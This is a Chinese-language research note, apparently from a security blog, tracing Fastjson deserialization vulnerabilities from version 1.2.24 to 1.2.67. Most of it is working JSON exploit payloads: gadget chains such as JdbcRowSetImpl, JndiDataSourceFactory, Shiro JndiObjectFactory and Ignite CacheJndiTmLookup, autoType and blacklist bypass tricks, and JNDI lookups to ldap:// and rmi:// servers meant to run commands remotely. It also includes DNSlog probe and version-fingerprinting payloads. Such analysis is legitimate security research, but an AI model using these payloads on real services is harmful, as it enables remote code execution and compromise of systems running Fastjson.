fastjson各版本poc研究
FastJson前置知识
fastjson反序列化JSON字符串时,会自动调用getter和setter
Student类
package com.example.fastjson_demo.Example;
/*
* 一个用于演示的学生类,写好了get与set方法
* */
public class Student {
private String name; /* 姓名 */
private int age; /* 年龄 */
private String sex; /* 性别 */
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public String getSex() {
return sex;
}
public void setSex(String sex) {
this.sex = sex;
}
}
测试代码
package com.example.fastjson_demo.Example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.serializer.SerializerFeature;
import java.net.MalformedURLException;
import java.net.URL;
public class Test {
/* fastjson基本使用 */
public static void main(String[] args) throws MalformedURLException {
/* 序列化 */
Student student = new Student();
student.setAge(18);
student.setName("keleth");
student.setSex("男");
Serializ(student);
/* 反序列化 */
String jsonStr = "{\"age\":18,\"name\":\"keleth\",\"sex\":\"男\"}";
unSerializ(jsonStr);
}
private static void Serializ(Student student) {
/*序列化为字符串并输出*/
String jsonStr = JSONObject.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(jsonStr);
}
private static void unSerializ(String jsonStr) {
Student student = JSON.parseObject(jsonStr, Student.class);
System.out.println(student.getAge());
System.out.println(student.getName());
System.out.println(student.getSex());
}
// 取得json中某个key的值
// JSONObject.parseObject(ObjName).getString("name")
// 还原输出json
// JSONObject.parseObject(ObjName).toJSONString();
// 构造poc时添加@type属性
// JSONObject.toJSONString(student, SerializerFeature.WriteClassName)
}
1.2.24版本
1.2.24版本默认不开启AutoType,1.2.24版本以后都默认开启AutoType
开启代码:(低于1.2.24版本不存在getGlobalInstance()方法)
// 添加白名单
ParserConfig.getGlobalInstance().addAccept("java.lang");
// 开启AutoType
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
Poc例:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1/123","autoCommit":true}
com.sun.rowset.JdbcRowSetImpl链分析
fastjson所有的链都很巧妙,比如上面这个最开始的利用链
跟进一下,fastjson
默认会调用getter
与setter
方法,所以直接找到
setDataSourceName()
setAutoCommit()
fastjson
会对指定@type
类型的类直接进行反序列化,跟进看一下readObject
,没有观察到危险操作,回到上面两个方法,进行跟踪
setDataSourceName()
,继续跟进super
当传入的值不为空and
不为null
时,赋值给dataSource
回到setAutoCommit()
,初次链接时,conn
为空,也就是会步入到else
中,进行连接。
跟进connect()
函数,看到326行直接lookup
,也就是,这里的dataSourceName
如果可以控制,就造成了JNDI
注入漏洞。
在上面已经传入,并且可控,所以造成JNDI
注入,达到RCE
的目的。
开启Debug
模式跟进一下。
在这几处分别打上断点进行调试,查看是否符合分析。
首先传入setDataSourceName()
然后进行autoCommit
由于dataSource
现在已经有了值,所以直接走到下一步connect()
lookup
加载dataSource
造成JNDI注入
1.2.25版本-1.2.41版本
发现1.2.25
版本增加了黑名单限制,autoType
默认为关闭选项。
查看代码,从checkAutoType
跟进
发现增加黑白名单限制,但白名单为空,应该是要手动添加
所以这里的绕过重点应该在类名黑名单(个人理解)
autoType
关闭,检测是否在黑名单中,如果在黑名单中,报错退出。
接着往下看,这个版本的白名单默认为空。。
继续往下看,但是是是需要开启autoType
才能利用的。
跟进loadClass
有意思,如果@type
开头为L结尾为;
,就可以绕过这个检查。
开启autoType
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
开启autoType后,最终执行的地方是在这里
com.sun.rowset.JdbcRowSetImpl链绕过限制(需开启autoType)
测试在1.2.25-1.2.41中都可使用
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://127.0.0.1/123", "autoCommit":true}
成功
开启autoType但未对1.2.24poc进行处理会检测黑名单,所以说这里要绕过黑名单检查
1.2.42版本分析
在开启AutoType的情况下,这个poc不可以使用了,来跟进看一下
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://127.0.0.1/123",
"autoCommit":true
}
黑名单设置为了HashCode匹配
autoType首先对传入的@type做了一次匹配,如果开头与结尾为L;
,则过滤掉该字符
hash是取前三个字符,在这里为LL过滤一次后为L,匹配不到黑名单,仍可以绕过。
最后的执行点在这里,开启autoType的情况下
com.sun.rowset.JdbcRowSetImpl链绕过(需开启autoType)
这里的typeName为LL但是不影响,因为loadClass是递归删除的,不删完不执行。
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://127.0.0.1/123",
"autoCommit":true
}
1.2.43版本
尝试1.2.42
版本POC
失败
继续跟进分析
com.sun.rowset.JdbcRowSetImpl链绕过(需开启autoType)
LL;;
不可以使用了
还有一个[可以用,尝试
根据错误修改POC
继续改
就成了。。。。。。。。6
此poc
通杀,1.2.24-1.2.43
,1.2.25
以上需开启autoType
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://127.0.0.1/123","autoCommit":true}
1.2.44版本-1.2.45版本
1.2.43版本poc被ban
跟进代码
开头为[的报错
开头结尾为L;的报错
现在的利用方式是开启autoType,然后找一条新的没有被检测的链子
看到网上有师傅给出了mybaits的链子
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"rmi://127.0.0.1/"
}
}
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.4.6</version>
</dependency>
在1.2.46中加入了黑名单,也就是1.2.44与1.2.45可用
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory链
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:1389/Basic/Command/calc"
}
}
链分析
JndiDataSourceFactory jndiDataSourceFactory = new JndiDataSourceFactory();
Properties properties = new Properties();
properties.setProperty("data_source", "ldap://127.0.0.1:1389/Basic/Command/calc");
jndiDataSourceFactory.setProperties(properties);
小于等于1.2.47版本-无需开启autoType通杀
利用Class.class,突破autoType限制,1.2.47以下通杀
通杀低版本POC
可是默认autoType是关闭的,这里在网上看到一个大师傅的poc
https://github.com/safe6Sec/Fastjson
fastjson 1.2.9-1.2.47
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:8081/123.txt",
"autoCommit":true
}
}
2023-05-26 23:58 溜了,明天继续分析
应该是利用Class.class
类比对的那里,来绕过autoType
与黑名单限制(菜鸡勿喷)
使用Class
突破autoType
黑白名单限制
然后@type
第一个类主体是Class
,会进入到特殊的Class.class
判断
然后会将strVal
的类,put
到这个mappings
中,这样的话,com.sun.rowset.JdbcRowSetImpl
就被加载到了mappings
,也就是缓存中,
在checkAutoType
中,可以通过这个函数,检查class
是否在基类中,因为在上面已经将恶意类加载到mappings
中,所以这里条件符合,就可以通过autoType
检查。
所以,构造成功,绕过autoType与黑名单限制
{
"a":{
"@type":"java.lang.Class",
"val":"Lcom.sun.rowset.JdbcRowSetImpl;"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:8081/123.txt",
"autoCommit":true
}
}
其实这里是不用绕过的,直接用就可以,因为没有涉及到黑名单校验。
1.2.62版本-1.2.67版本
1.2.62版本,Class不会再往mappings中加载val,也就是上面的通杀poc不可用了
如果不为true,则不会缓存,默认为false。
利用链分析
黑名单绕过exp,需开启autoType
org.apache.xbean.propertyeditor.JndiConverter
1.2.62可用
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-reflect</artifactId>
<version>3.4</version>
</dependency>
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";
JndiConverter->父类AbstractConverter
setAsText(String text)->
toObject(String text)->
toObjectImpl(String var1)->
JndiConverter.toObjectImpl(String text)->
lookup();
org.apache.shiro.jndi.JndiObjectFactory
1.2.66可用
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.7.1</version>
</dependency>
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
br.com.anteros.dbcp.AnterosDBCPConfig
1.2.66可用
<dependency>
<groupId>br.com.anteros</groupId>
<artifactId>Anteros-Core</artifactId>
<version>1.2.6</version>
</dependency>
<dependency>
<groupId>br.com.anteros</groupId>
<artifactId>Anteros-DBCP</artifactId>
<version>1.0.1</version>
</dependency>
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
br.com.anteros.dbcp.AnterosDBCPConfig
lookup执行
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig
1.2.66可用
<dependency>
<groupId>org.apache.ibatis</groupId>
<artifactId>ibatis-sqlmap</artifactId>
<version>2.3.4.726</version>
</dependency>
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup
1.2.67可用
<dependency>
<groupId>org.apache.ignite</groupId>
<artifactId>ignite-core</artifactId>
<version>2.11.0</version>
</dependency>
<dependency>
<groupId>org.apache.ignite</groupId>
<artifactId>ignite-jta</artifactId>
<version>2.11.0</version>
</dependency>
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://127.0.0.1:1389/123"], "tm": {"$ref":"$.tm"}}
CacheJndiTmLookup cacheJndiTmLookup = new CacheJndiTmLookup();
List<String> list = new ArrayList<>();
list.add("ldap://127.0.0.1:1389/Basic/Command/calc");
cacheJndiTmLookup.setJndiNames(list);
cacheJndiTmLookup.getTm();
String jsonStr = JSONObject.toJSONString(cacheJndiTmLookup, SerializerFeature.WriteClassName);
System.out.println(jsonStr);
父类
调用无参方法
"tm": {"$ref":"$.tm"}
1.2.68以后版本开新文章分析。
显示具体版本号POC
{"@type":"[com.alibaba.fastjson.parser.ParserConfig"[,"12":"123",}
一些绕过的写法
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]